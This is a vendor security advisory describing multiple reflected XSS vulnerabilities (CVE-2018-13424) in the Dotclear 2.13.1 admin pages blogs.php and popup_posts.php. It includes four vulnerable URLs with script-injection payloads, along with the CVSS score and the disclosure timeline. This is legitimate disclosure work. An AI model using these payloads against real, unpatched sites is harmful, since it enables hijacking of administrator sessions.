Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS in Dotclear 2.13.1
Affected Software: Dotclear
Affected Versions: 2.13.1
Homepage: https://dotclear.org
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13424
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-006

Technical Details
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URL :/admin/blogs.php?q=&nb=30&status=1&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x007BE4)%3C/scRipt%3E
Parameter Name : order
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x007BE4)</scRipt>

URL : /admin/popup_posts.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x006B38)%3C/scRipt%3E
Parameter Name : Query Based
Parameter Type : Query String
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x006B38)</scRipt>

URL : /admin/blogs.php?status=&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x010259)%3C/scRipt%3E&page=1&nb=30&blogs%5B0%5D=default
Parameter Name : order
Parameter Type :GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x010259)</scRipt>

URL : /admin/popup_posts.php?q=&plugin_id=&type=&page=2&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0072FD)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack patern : '"--></style></scRipt><scRipt>netsparker(0x0072FD)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 March 2018- First Contact
13th August 2018 - Vendor Fixed
29th August 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.